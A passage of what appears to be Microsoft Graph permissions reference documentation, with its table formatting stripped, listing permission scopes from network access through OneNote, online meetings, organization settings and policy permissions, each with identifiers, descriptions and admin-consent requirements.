    Identifier8137102d-ec16-4191-aaf8-7aeda8026183b8a36cc2-b810-461a-baa4-a7281e50bd5c
    DisplayTextRead and write properties of all branches for network accessRead and write properties of branches for network access
    DescriptionAllows the app to read and write your organization's network access branches, without a signed-in user.Allows the app to read and write your organization's branches for network access on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    NetworkAccessPolicy.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8a3d36bf-cb46-4bcc-bec9-8d92829dab84ba22922b-752c-446f-89d7-a2d92398fceb
    DisplayTextRead all security and routing policies for network accessRead security and routing policies for network access
    DescriptionAllows the app to read your organization's network access policies, without a signed-in user.Allows the app to read your organization's security and routing network access policies on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    NetworkAccessPolicy.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf0c341be-8348-4989-8e43-660324294538b1fbad0f-ef6e-42ed-8676-bca7fa3e7291
    DisplayTextRead and write all security and routing policies for network accessRead and write security and routing policies for network access
    DescriptionAllows the app to read and write your organization's network access policies, without a signed-in user.Allows the app to read and write your organization's security and routing network access policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    NetworkAccess-Reports.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier40049381-3cc1-42af-94ec-5ce755db4b0db0c61509-cfc3-42bd-9bd4-66d81785fee4
    DisplayTextRead all network access reportsRead all network access reports
    DescriptionAllows the app to read all network access reports without a signed-in user.Allows the app to read all network access reports on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Notes.Create

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-9d822255-d64d-4b7a-afdb-833b9a97ed02
    DisplayText-Create user OneNote notebooks
    Description-Allows the app to read the titles of OneNote notebooks and sections and to create new pages, notebooks, and sections on behalf of the signed-in user.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Notes.Create delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Notes.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-371361e4-b9e2-4a3f-8315-2a301a3b0a3d
    DisplayText-Read user OneNote notebooks
    Description-Allows the app to read OneNote notebooks on behalf of the signed-in user.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Notes.Read delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Notes.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier3aeca27b-ee3a-4c2b-8ded-80376e2134a4dfabfca6-ee36-4db2-8208-7a28381419b3
    DisplayTextRead all OneNote notebooksRead all OneNote notebooks that user can access
    DescriptionAllows the app to read all the OneNote notebooks in your organization, without a signed-in user.Allows the app to read OneNote notebooks that the signed-in user has access to in the organization.
    AdminConsentRequiredYesNo
    -
    -

    Notes.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-615e26af-c38a-4150-ae3e-c3b0d4cb1d6a
    DisplayText-Read and write user OneNote notebooks
    Description-Allows the app to read, share, and modify OneNote notebooks on behalf of the signed-in user.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Notes.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Notes.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0c458cef-11f3-48c2-a568-c66751c238c064ac0503-b4fa-45d9-b544-71a463f05da0
    DisplayTextRead and write all OneNote notebooksRead and write all OneNote notebooks that user can access
    DescriptionAllows the app to read all the OneNote notebooks in your organization, without a signed-in user.Allows the app to read, share, and modify OneNote notebooks that the signed-in user has access to in the organization.
    AdminConsentRequiredYesNo
    -
    -

    Notes.ReadWrite.CreatedByApp

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-ed68249d-017c-4df5-9113-e684c7f8760b
    DisplayText-Limited notebook access (deprecated)
    Description-This is deprecated! Do not use! This permission no longer has any effect. You can safely consent to it. No additional privileges will be granted to the app.
    AdminConsentRequired-No
    -
    -

    Notifications.ReadWrite.CreatedByApp

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-89497502-6e42-46a2-8cb2-427fd3df970a
    DisplayText-Deliver and manage user notifications for this app
    Description-Allows the app to deliver its notifications on behalf of signed-in users. Also allows the app to read, update, and delete the user's notification items for this app.
    AdminConsentRequired-No
    -

    personal Microsoft accounts The Notifications.ReadWrite.CreatedByApp delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    offline_access

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-7427e0e9-2fba-42fe-b0c0-848c9e6a8182
    DisplayText-Maintain access to data you have given it access to
    Description-Allows the app to see and update the data you gave it access to, even when users are not currently using the app. This does not give the app any additional permissions.
    AdminConsentRequired-No
    -

    OnlineMeetingArtifact.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdf01ed3b-eb61-4eca-9965-6b3d789751b2110e5abb-a10c-4b59-8b55-9b4daa4ef743
    DisplayTextRead online meeting artifactsRead user's online meeting artifacts
    DescriptionAllows the app to read online meeting artifacts in your organization, without a signed-in user.Allows the app to read online meeting artifacts on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    - -

    Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.

    -
    -

    OnlineMeetingRecording.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera4a08342-c95d-476b-b943-97e100569c8d190c2bb6-1fdd-4fec-9aa2-7d571b5e1fe3
    DisplayTextRead all recordings of online meetings.Read all recordings of online meetings.
    DescriptionAllows the app to read all recordings of all online meetings, without a signed-in user.Allows the app to read all recordings of online meetings, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    - -

    Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.

    -
    -

    OnlineMeetings.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-9be106e1-f4e3-4df5-bdff-e4bc531cbe43
    DisplayText-Read user's online meetings
    Description-Allows the app to read online meeting details on behalf of the signed-in user.
    AdminConsentRequired-No
    - -

    Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.

    -
    -

    OnlineMeetings.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc1684f21-1984-47fa-9d61-2dc8c296bb70-
    DisplayTextRead online meeting details-
    DescriptionAllows the app to read online meeting details in your organization, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    OnlineMeetings.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-a65f2972-a4f8-4f5e-afd7-69ccb046d5dc
    DisplayText-Read and create user's online meetings
    Description-Allows the app to read and create online meetings on behalf of the signed-in user.
    AdminConsentRequired-No
    - -

    Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.

    -
    -

    OnlineMeetings.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb8bb2037-6e08-44ac-a4ea-4674e010e2a4-
    DisplayTextRead and create online meetings-
    DescriptionAllows the app to read and create online meetings as an application in your organization.-
    AdminConsentRequiredYes-
    -
    -

    OnlineMeetingTranscript.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera4a80d8d-d283-4bd8-8504-555ec387063030b87d18-ebb1-45db-97f8-82ccb1f0190c
    DisplayTextRead all transcripts of online meetings.Read all transcripts of online meetings.
    DescriptionAllows the app to read all transcripts of all online meetings, without a signed-in user.Allows the app to read all transcripts of online meetings, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    - -

    Administrators can configure application access policy to allow apps to access online meetings on behalf of a user.

    -
    -

    OnPremDirectorySynchronization.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbb70e231-92dc-4729-aff5-697b3f04be95f6609722-4100-44eb-b747-e6ca0536989d
    DisplayTextRead all on-premises directory synchronization informationRead all on-premises directory synchronization information
    DescriptionAllows the app to read all on-premises directory synchronization information for the organization, without a signed-in user.Allows the app to read all on-premises directory synchronization information for the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OnPremDirectorySynchronization.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc22a92cc-79bf-4bb1-8b6c-e0a05d3d80cec2d95988-7604-4ba1-aaed-38a5f82a51c7
    DisplayTextRead and write all on-premises directory synchronization informationRead and write all on-premises directory synchronization information
    DescriptionAllows the app to read and write all on-premises directory synchronization information for the organization, without a signed-in user.Allows the app to read and write all on-premises directory synchronization information for the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OnPremisesPublishingProfiles.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0b57845e-aa49-4e6f-8109-ce654fffa6188c4d5184-71c2-4bf8-bb9d-bc3378c9ad42
    DisplayTextManage on-premises published resourcesManage on-premises published resources
    DescriptionAllows the app to create, view, update and delete on-premises published resources, on-premises agents and agent groups, as part of a hybrid identity configuration, without a signed in user.Allows the app to manage hybrid identity service configuration by creating, viewing, updating and deleting on-premises published resources, on-premises agents and agent groups, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    openid

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-37f7f235-527c-4136-accd-4a02d197296e
    DisplayText-Sign users in
    Description-Allows users to sign in to the app with their work or school accounts and allows the app to see basic user profile information.
    AdminConsentRequired-No
    -

    Organization.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier498476ce-e0fe-48b0-b801-37ba7e2685c64908d5b9-3fb2-4b1e-9336-1888b7937185
    DisplayTextRead organization informationRead organization information
    DescriptionAllows the app to read the organization and related resources, without a signed-in user. Related resources include things like subscribed skus and tenant branding information.Allows the app to read the organization and related resources, on behalf of the signed-in user. Related resources include things like subscribed skus and tenant branding information.
    AdminConsentRequiredYesYes
    -
    -

    Organization.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier292d869f-3427-49a8-9dab-8c70152b74e946ca0847-7e6b-426e-9775-ea810a948356
    DisplayTextRead and write organization informationRead and write organization information
    DescriptionAllows the app to read and write the organization and related resources, without a signed-in user. Related resources include things like subscribed skus and tenant branding information.Allows the app to read and write the organization and related resources, on behalf of the signed-in user. Related resources include things like subscribed skus and tenant branding information.
    AdminConsentRequiredYesYes
    -
    -

    OrganizationalBranding.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiereb76ac34-0d62-4454-b97c-185e4250dc209082f138-6f02-4f3a-9f4d-5f3c2ce5c688
    DisplayTextRead organizational branding informationRead organizational branding information
    DescriptionAllows the app to read the organizational branding information, without a signed-in user.Allows the app to read the organizational branding information, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OrganizationalBranding.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierd2ebfbc1-a5f8-424b-83a6-56ab5927a73c15ce63de-b141-4c9a-a9a5-241bf27c6aaf
    DisplayTextRead and write organizational branding informationRead and write organizational branding information
    DescriptionAllows the app to read and write the organizational branding information, without a signed-in user.Allows the app to read and write the organizational branding information, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OrgContact.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere1a88a34-94c4-4418-be12-c87b00e26bea08432d1b-5911-483c-86df-7980af5cdee0
    DisplayTextRead organizational contactsRead organizational contacts
    DescriptionAllows the app to read all organizational contacts without a signed-in user. These contacts are managed by the organization and are different from a user's personal contacts.Allows the app to read all organizational contacts on behalf of the signed-in user.  These contacts are managed by the organization and are different from a user's personal contacts.
    AdminConsentRequiredYesYes
    -
    -

    OrgSettings-AppsAndServices.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier56c84fa9-ea1f-4a15-90f2-90ef41ece2c91e9b7a7e-4d64-44ff-acf5-2e9651c1519f
    DisplayTextRead organization-wide apps and services settingsRead organization-wide apps and services settings
    DescriptionAllows the app to read organization-wide apps and services settings, without a signed-in user.Allows the app to read organization-wide apps and services settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OrgSettings-AppsAndServices.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier4a8e4191-c1c8-45f8-b801-f9a1a5ee6ad3c167b0e7-47c0-48e8-9eee-9892f58018fa
    DisplayTextRead and write organization-wide apps and services settingsRead and write organization-wide apps and services settings
    DescriptionAllows the app to read and write organization-wide apps and services settings, without a signed-in user.Allows the app to read and write organization-wide apps and services settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OrgSettings-DynamicsVoice.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc18ae2dc-d9f3-4495-a93f-18980a0e159f9862d930-5aec-4a98-8d4f-7277a8db9bcb
    DisplayTextRead organization-wide Dynamics customer voice settingsRead organization-wide Dynamics customer voice settings
    DescriptionAllows the app to read organization-wide Dynamics customer voice settings, without a signed-in user.Allows the app to read organization-wide Dynamics customer voice settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OrgSettings-DynamicsVoice.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc3f1cc32-8bbd-4ab6-bd33-f270e0d9e0414cea26fb-6967-4234-82c4-c044414743f8
    DisplayTextRead and write organization-wide Dynamics customer voice settingsRead and write organization-wide Dynamics customer voice settings
    DescriptionAllows the app to read and write organization-wide Dynamics customer voice settings, without a signed-in user.Allows the app to read and write organization-wide Dynamics customer voice settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OrgSettings-Forms.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier434d7c66-07c6-4b1f-ab21-417cf2cdaaca210051a0-1ffc-435c-ae76-02d226d05752
    DisplayTextRead organization-wide Microsoft Forms settingsRead organization-wide Microsoft Forms settings
    DescriptionAllows the app to read organization-wide Microsoft Forms settings, without a signed-in user.Allows the app to read organization-wide Microsoft Forms settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OrgSettings-Forms.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2cb92fee-97a3-4034-8702-24a6f5d0d1e9346c19ff-3fb2-4e81-87a0-bac9e33990c1
    DisplayTextRead and write organization-wide Microsoft Forms settingsRead and write organization-wide Microsoft Forms settings
    DescriptionAllows the app to read and write organization-wide Microsoft Forms settings, without a signed-in user.Allows the app to read and write organization-wide Microsoft Forms settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OrgSettings-Microsoft365Install.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6cdf1fb1-b46f-424f-9493-07247caa22e28cbdb9f6-9c2e-451a-814d-ec606e5d0212
    DisplayTextRead organization-wide Microsoft 365 apps installation settingsRead organization-wide Microsoft 365 apps installation settings
    DescriptionAllows the app to read organization-wide Microsoft 365 apps installation settings, without a signed-in user.Allows the app to read organization-wide Microsoft 365 apps installation settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OrgSettings-Microsoft365Install.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier83f7232f-763c-47b2-a097-e35d2cbe1da51ff35e91-19eb-42d8-aa2d-cc9891127ae5
    DisplayTextRead and write organization-wide Microsoft 365 apps installation settingsRead and write organization-wide Microsoft 365 apps installation settings
    DescriptionAllows the app to read and write organization-wide Microsoft 365 apps installation settings, without a signed-in user.Allows the app to read and write organization-wide Microsoft 365 apps installation settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OrgSettings-Todo.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere4d9cd09-d858-4363-9410-abb96737f0cf7ff96f41-f022-45ba-acd8-ef3f03063d6b
    DisplayTextRead organization-wide Microsoft To Do settingsRead organization-wide Microsoft To Do settings
    DescriptionAllows the app to read organization-wide Microsoft To Do settings, without a signed-in user.Allows the app to read organization-wide Microsoft To Do settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    OrgSettings-Todo.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5febc9da-e0d0-4576-bd13-ae70b2179a39087502c2-5263-433e-abe3-8f77231a0627
    DisplayTextRead and write organization-wide Microsoft To Do settingsRead and write organization-wide Microsoft To Do settings
    DescriptionAllows the app to read and write organization-wide Microsoft To Do settings, without a signed-in user.Allows the app to read and write organization-wide Microsoft To Do settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PartnerBilling.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7c3e1994-38ff-4412-a99b-9369f6bb77068804798e-5934-4e30-8ce3-ef88257cecd4
    DisplayTextRead all billing data for your company's tenantRead all billing data for your company's tenant
    DescriptionAllows the app to read all of billing data from Microsoft for your company's tenant, without a signed-in user. This includes reading billed and unbilled azure usage and invoice reconciliation data.Allows the app to read all of billing data from Microsoft for your company's tenant, on behalf of the signed-in user. This includes reading billed and unbilled Usage and Invoice reconciliation data.
    AdminConsentRequiredYesYes
    -
    -

    PartnerSecurity.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier21ffa320-2e7f-47d3-a466-7ff04d2dd68d5567b981-0bf1-4796-9038-0648b46e116d
    DisplayTextRead security alerts of customer with CSP relationshipRead security alerts of customer with CSP relationship
    DescriptionAllows the app to read security alerts of customer with CSP relationship, without a signed-in user.Allows the app to read security alerts of customer with CSP relationship on behalf of the partner signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PartnerSecurity.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier04a2c935-5b4b-474a-be42-11f53111f2710cd2c1f6-94a1-4075-ab8c-0b1aff2e1ad5
    DisplayTextRead security alerts and update status of security alerts of customer with CSP relationshipRead security alerts and update status of security alerts of customer with CSP relationship
    DescriptionAllows the app to read security alerts and update status of alerts of customer with CSP relationship, without a signed-in user.Allows the app to read security alerts and update status of alerts of customer with CSP relationship on behalf of the partner signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PendingExternalUserProfile.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbdfb26d9-bb36-49be-9b4c-b8cbf4b05808d88fd3fb-53d3-4c1c-8c39-787fcac2ed7a
    DisplayTextRead all pending external user profilesRead pending external user profiles
    DescriptionAllows the app to read available properties of pending external user profiles, without a signed-in user.Allows the app to read available properties of pending external user profiles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PendingExternalUserProfile.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8363c2b8-6ff7-420b-9966-c5884c2d48bc93a1fb28-c908-4826-904e-0c74ad352b73
    DisplayTextRead and write all pending external user profilesRead and write pending external user profiles
    DescriptionAllows the app to read and write available properties of pending external user profiles, without a signed-in user.Allows the app to read and write available properties of pending external user profiles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    People.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-ba47897c-39ec-4d83-8086-ee8256fa737d
    DisplayText-Read users' relevant people lists
    Description-Allows the app to read a ranked list of relevant people of the signed-in user. The list includes local contacts, contacts from social networking, your organization's directory, and people from recent communications (such as email and Skype).
    AdminConsentRequired-No
    -

    personal Microsoft accounts The People.Read delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    People.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb528084d-ad10-4598-8b93-929746b4d7d6b89f9189-71a5-4e70-b041-9887f0bc7e4a
    DisplayTextRead all users' relevant people listsRead all users' relevant people lists
    DescriptionAllows the app to read any user's scored list of relevant people, without a signed-in user. The list can include local contacts, contacts from social networking, your organization's directory, and people from recent communications (such as email and Skype).Allows the app to read a scored list of relevant people of the signed-in user or other users in the signed-in user's organization. The list can include local contacts, contacts from social networking, your organization's directory, and people from recent communications (such as email and Skype).
    AdminConsentRequiredYesYes
    -
    -

    PeopleSettings.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifieref02f2e7-e22d-4c77-8614-8f765683b86eec762c5f-388b-4b16-8693-ac1efbc611bc
    DisplayTextRead all tenant-wide people settingsRead tenant-wide people settings
    DescriptionAllows the application to read tenant-wide people settings without a signed-in user.Allows the application to read tenant-wide people settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PeopleSettings.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb6890674-9dd5-4e42-bb15-5af07f541ae1e67e6727-c080-415e-b521-e3f35d5248e9
    DisplayTextRead and write all tenant-wide people settingsRead and write tenant-wide people settings
    DescriptionAllows the application to read and write tenant-wide people settings without a signed-in user.Allows the application to read and write tenant-wide people settings on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Place.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier913b9306-0ce1-42b8-9137-6a7df690a760cb8f45a0-5c2e-4ea1-b803-84b870a7d7ec
    DisplayTextRead all company placesRead all company places
    DescriptionAllows the app to read company places (conference rooms and room lists) for calendar events and other applications, without a signed-in user.Allows the app to read your company's places (conference rooms and room lists) for calendar events and other applications, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Place.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-4c06a06a-098a-4063-868e-5dfee3827264
    DisplayText-Read and write organization places
    Description-Allows the app to manage organization places (conference rooms and room lists) for calendar events and other applications, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    PlaceDevice.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8b724a84-ceac-4fd9-897e-e31ba8f2d7a34c7f93d2-6b0b-4e05-91aa-87842f0a2142
    DisplayTextRead all workplace devicesRead all workplace devices
    DescriptionAllows the app to read all workplace devices, without a signed-in user.Allows the app to read all workplace devices, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PlaceDevice.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2d510721-5c4e-43cd-bfdb-ac0f8819fb92eafd6a71-e95a-4f8a-bb6e-fb84ab7fbd9e
    DisplayTextRead and write all workplace devicesRead and write all workplace devices
    DescriptionAllows the app to read and write all workplace devices, without a signed-in user.Allows the app to read and write all workplace devices, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    PlaceDeviceTelemetry.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier27fc435f-44e2-4b30-bf3c-e0ce74aed618-
    DisplayTextRead and write telemetry for all workplace devices.-
    DescriptionAllows the app to read and write telemetry for all workplace devices, without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    Policy.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier246dd0d5-5bd0-4def-940b-0421030a5b68572fea84-0151-49b2-9301-11cb16974376
    DisplayTextRead your organization's policiesRead your organization's policies
    DescriptionAllows the app to read all your organization's policies without a signed in user.Allows the app to read your organization's policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -

    personal Microsoft accounts The Policy.Read.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Policy.Read.ConditionalAccess

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier37730810-e9ba-4e46-b07e-8ca78d182097633e0fce-8c58-4cfb-9495-12bbd5a24f7c
    DisplayTextRead your organization's conditional access policiesRead your organization's conditional access policies
    DescriptionAllows the app to read your organization's conditional access policies, without a signed-in user.Allows the app to read your organization's conditional access policies on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    Policy.Read.IdentityProtection

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb21b72f6-4e6a-4533-9112-47eea9f97b28d146432f-b803-4ed4-8d42-ba74193a6ede
    DisplayTextRead your organization's identity protection policyRead your organization's identity protection policy
    DescriptionAllows the app to read your organization's identity protection policy without a signed-in user.Allows the app to read your organization's identity protection policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Policy.Read.PermissionGrant

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9e640839-a198-48fb-8b9a-013fd6f6cbcd414de6ea-2d92-462f-b120-6e2a809a6d01
    DisplayTextRead consent and permission grant policiesRead consent and permission grant policies
    DescriptionAllows the app to read policies related to consent and permission grants for applications, without a signed-in user.Allows the app to read policies related to consent and permission grants for applications, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.AccessReview

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier77c863fd-06c0-47ce-a7eb-49773e89d3194f5bc9c8-ea54-4772-973a-9ca119cb0409
    DisplayTextRead and write your organization's directory access review default policyRead and write your organization's directory access review default policy
    DescriptionAllows the app to read and write your organization's directory access review default policy without a signed-in user.Allows the app to read and write your organization's directory access review default policy on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.ApplicationConfiguration

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbe74164b-cff1-491c-8741-e671cb536e13b27add92-efb2-4f16-84f5-8108ba77985c
    DisplayTextRead and write your organization's application configuration policiesRead and write your organization's application configuration policies
    DescriptionAllows the app to read and write your organization's application configuration policies, without a signed-in user. This includes policies such as activityBasedTimeoutPolicy, claimsMappingPolicy, homeRealmDiscoveryPolicy, tokenIssuancePolicy and tokenLifetimePolicy.Allows the app to read and write your organization's application configuration policies on behalf of the signed-in user. This includes policies such as activityBasedTimeoutPolicy, claimsMappingPolicy, homeRealmDiscoveryPolicy, tokenIssuancePolicy and tokenLifetimePolicy.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.AuthenticationFlows

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier25f85f3c-f66c-4205-8cd5-de92dd7f0cecedb72de9-4252-4d03-a925-451deef99db7
    DisplayTextRead and write authentication flow policiesRead and write authentication flow policies
    DescriptionAllows the app to read and write all authentication flow policies for the tenant, without a signed-in user.Allows the app to read and write the authentication flow policies, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Policy.ReadWrite.AuthenticationMethod

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier29c18626-4985-4dcd-85c0-193eef3273667e823077-d88e-468f-a337-e18f1f0e6c7c
    DisplayTextRead and write all authentication method policies Read and write authentication method policies
    DescriptionAllows the app to read and write all authentication method policies for the tenant, without a signed-in user. Allows the app to read and write the authentication method policies, on behalf of the signed-in user. 
    AdminConsentRequiredYesYes
    -

    personal Microsoft accounts The Policy.ReadWrite.AuthenticationMethod delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Policy.ReadWrite.Authorization

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierfb221be6-99f2-473f-bd32-01c6a0e9ca3bedd3c878-b384-41fd-95ad-e7407dd775be
    DisplayTextRead and write your organization's authorization policyRead and write your organization's authorization policy
